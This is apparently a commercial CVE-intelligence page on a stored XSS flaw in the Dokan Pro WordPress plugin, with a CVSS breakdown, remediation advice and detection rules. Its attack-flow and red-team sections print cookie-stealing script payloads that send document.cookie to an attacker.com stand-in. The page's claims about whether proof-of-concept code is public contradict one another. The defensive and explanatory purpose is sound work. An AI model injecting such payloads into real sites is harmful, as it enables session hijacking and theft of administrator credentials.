☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Dokan logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-39497

CVE-2025-39497 Cross-Site Scripting in Dokan
📅 PUBLISHED: 2026-01-05 17:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.02%
👁️
0.02% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Bangladesh License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-39497 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Dokan Pro WordPress plugin, versions up to and including 3.14.5. This vulnerability allows an authenticated attacker with low privileges (e.g., a vendor or subscriber) to inject malicious scripts into web pages generated by the plugin. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a commercial WordPress plugin (Dokan Pro) distributed via the developer's own platform, not a public package registry like NPM or PyPI. However, the risk extends to any WordPress site using the plugin. Users should verify the integrity of their plugin files and ensure they are obtained from the official source. No public exploit code or proof-of-concept is currently available.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs a low-privilege account (e.g., vendor role).
  • User Interaction (UI): Required (R) – Victim must visit the compromised page.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used e-commerce plugin like Dokan Pro can lead to significant supply chain and data integrity risks.

Deep Dive & Mechanics

The vulnerability exists in the Dokan Pro plugin's handling of user input, likely in areas where vendors can submit product information, store settings, or custom content. The plugin fails to properly sanitize or escape user-supplied data before rendering it in the browser. This allows an attacker to inject arbitrary HTML and JavaScript.

Root Cause: The plugin uses functions like echo or _e() without proper escaping (e.g., esc_html(), esc_attr(), wp_kses_post()) when outputting user-controlled data. This is a classic Stored XSS pattern.

Attack Flow:

  1. Attacker logs in with a low-privilege account (e.g., vendor).
  2. Attacker navigates to a vulnerable input field (e.g., product description, store name, custom field).
  3. Attacker injects a malicious payload, such as:
    <script>alert('XSS')</script>
    
    or a more sophisticated payload to steal cookies:
    <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
    
  4. The payload is stored in the database.
  5. When an administrator or other user views the affected page (e.g., product listing, store dashboard), the script executes in their browser.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical example of the vulnerable code and how it should be fixed.

Vulnerable Code (PHP):

// In a Dokan Pro template file
echo $product->get_description();

Patched Code (PHP):

// Properly escape output
echo esc_html( $product->get_description() );

Or, if HTML is allowed:

echo wp_kses_post( $product->get_description() );

The vulnerable code directly outputs user-supplied data without sanitization. The patched code uses WordPress escaping functions to neutralize malicious input.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with Dokan Pro <= 3.14.5 installed and activated.
  • A low-privilege user account (e.g., vendor role).

Steps:

  1. Log in as the vendor.
  2. Navigate to a vulnerable input field (e.g., "Store Name" or "Product Description").
  3. Inject the following payload:
    <script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>
    
  4. Save the changes.
  5. Wait for an administrator to view the store or product page.
  6. Capture the cookie from your attacker-controlled server.

Note: No public exploit code is available. The above is a generic Stored XSS exploitation technique.

Blue Team

Detection:

  • Monitor for unusual input patterns in vendor-submitted content (e.g., <script>, onerror, onload).
  • Use Web Application Firewall (WAF) rules to block common XSS payloads.
  • Implement Content Security Policy (CSP) headers to mitigate script execution.

Hunting:

  • Search WordPress database for stored XSS payloads:
    SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
    
  • Review server logs for requests containing suspicious parameters.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound connections to attacker-controlled domains (e.g., attacker.com).
    • HTTP requests containing document.cookie or fetch( in the referrer or body.
  • Host:
    • Unexpected JavaScript code in WordPress database fields (e.g., wp_postmeta, wp_options).
    • Modified plugin files (check file integrity with md5sum).
  • User Activity:
    • Multiple failed login attempts from a single IP.
    • Unusual vendor account activity (e.g., creating many products with similar descriptions).

Detection Engineering

YARA Rule

rule CVE_2025_39497_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting Dokan Pro"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39497"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS in Dokan Pro Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in WordPress database queries
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        - post_content|contains: '<script>'
        - post_content|contains: 'onerror='
        - post_content|contains: 'onload='
        - post_content|contains: 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39497 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  3. Enforce Content Security Policy (CSP) headers to restrict script execution.

Long-term Fix:

  • Apply the official patch from Dokan when released.
  • Update to the latest version of Dokan Pro (if a patched version becomes available).
  • Conduct a security audit of all custom code and plugins.

Workarounds:

  • Use WordPress security plugins (e.g., Wordfence) to add input sanitization.
  • Restrict vendor roles to trusted users only.
  • Regularly scan the database for malicious content.

Valters IT – Securing your digital assets with precision.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Dokan"
http.html:"dokan-pro"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-39497/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.